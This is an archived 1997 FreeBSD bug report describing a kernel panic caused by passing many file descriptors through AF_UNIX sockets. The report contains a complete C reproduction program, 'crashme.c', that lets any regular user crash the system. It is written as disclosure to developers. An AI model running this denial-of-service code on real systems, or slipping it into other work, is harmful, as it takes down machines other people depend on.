Date: Wed, 20 Aug 1997 14:33:54 -0700 (PDT) From: abelits@phobos.illtel.denver.co.us To: freebsd-gnats-submit@FreeBSD.ORG Subject: kern/4345: Kernel panic is caused by passing file descriptors through AF_UNIX socket Message-ID: <199708202133.OAA10663@hub.freebsd.org> Resent-Message-ID: <199708202140.OAA11120@hub.freebsd.org>
next in thread | raw e-mail | index | archive | help
>Number: 4345
>Category: kern
>Synopsis: Kernel panic is caused by passing file descriptors through AF_UNIX socket
>Confidential: no
>Severity: critical
>Priority: high
>Responsible: freebsd-bugs
>State: open
>Class: sw-bug
>Submitter-Id: current-users
>Arrival-Date: Wed Aug 20 14:40:00 PDT 1997
>Last-Modified:
>Originator: Alex Belits
>Organization:
none
>Release: FreeBSD 2.2.2-RELEASE i386
>Environment:
FreeBSD es1840 2.2.2-RELEASE FreeBSD 2.2.2-RELEASE #0: Tue Jun 24 04:43:02 PDT 1
997 abelits@es1840:/usr/src/sys/compile/ES1840 i386
>Description:
Sending large number of file descriptors through AF_UNIX sockets causes
a kernel panic. The panic may occur if file descriptors are passed and
then closed, although keeping them open and collecting them in the
receiver process after receiving always causes panic.
>How-To-Repeat:
Run the following program as any regular user:
--- 8< ---
/* crashme.c
**
** THIS PROGRAM CAUSES KERNEL PANIC ON SOME SYSTEMS
**
** Usage: crashme [--harder]
**
** --harder option causes this program to leave opened file descriptors hanging
** thus increasing the probability of the crash.
**
*/
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/un.h>
#include <sys/uio.h>
#include <sys/socket.h>
#include <sys/wait.h>
int main(int argc,char **argv){
int harder=0,p,nproc,h,i,socketfds[2];
char a[10];
struct iovec iov1={a,1};
struct cmsghdr *cm;
struct msghdr msg;
char bbuffer[sizeof(struct cmsghdr)+sizeof(int)*24];
if(argc>=2&&!strcmp(argv[1],"--harder")) harder=1;
nproc=-1;
for(i=0;i<100;i++){
if(!(p=fork())){
if(socketpair(AF_UNIX,SOCK_STREAM,0,socketfds)){
perror("socketpair");
}else{
cm=(struct cmsghdr*)bbuffer;
cm->cmsg_level=SOL_SOCKET;
cm->cmsg_type=SCM_RIGHTS;
cm->cmsg_len=sizeof(struct cmsghdr)+sizeof(int);
msg.msg_name=(caddr_t)0;
msg.msg_namelen=0;
msg.msg_flags=0;
msg.msg_iov=&iov1;
msg.msg_iovlen=1;
msg.msg_control=(caddr_t)cm;
msg.msg_controllen=cm->cmsg_len;
if(fork()){
close(socketfds[0]);
*(int*)(bbuffer+sizeof(struct cmsghdr))=open("/dev/null",O_RDONLY);
for(i=0;i<2048;i++){
fprintf(stderr,"%d> ",i+1);
while(sendmsg(socketfds[1],&msg,0)!=1){
if(errno!=EAGAIN){
perror("\nsendmsg");
}
}
}
}else{
close(socketfds[1]);
for(i=0;i<2048;i++){
*(int*)(bbuffer+sizeof(struct cmsghdr))=-1;
fprintf(stderr,">%d ",i+1);
cm=(struct cmsghdr*)bbuffer;
cm->cmsg_level=SOL_SOCKET;
cm->cmsg_type=SCM_RIGHTS;
cm->cmsg_len=sizeof(struct cmsghdr)+sizeof(int)*24;
msg.msg_name=(caddr_t)0;
msg.msg_namelen=0;
iov1.iov_len=10;
msg.msg_iov=&iov1;
msg.msg_iovlen=1;
msg.msg_control=(caddr_t)cm;
msg.msg_controllen=cm->cmsg_len;
if(recvmsg(socketfds[0],&msg,0)!=1){
perror("\nrecvmsg");
}else{
fprintf(stderr,"(%d) ",*(int*)(bbuffer+sizeof(struct cmsghdr)));
if(!harder){
close(*(int*)(bbuffer+sizeof(struct cmsghdr)));
}
}
}
exit(0);
}
wait(&h);
}
exit(0);
}else{
if(p<0){
nproc=i;
i=100;
}
}
}
if(nproc<0) nproc=100;
for(i=0;i<nproc;i++) wait(&h);
fprintf(stderr,"\n%d processes finished\n",nproc);
return 0;
}
--- >8 ---
>Fix:
none
>Audit-Trail:
>Unformatted:
Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?199708202133.OAA10663>
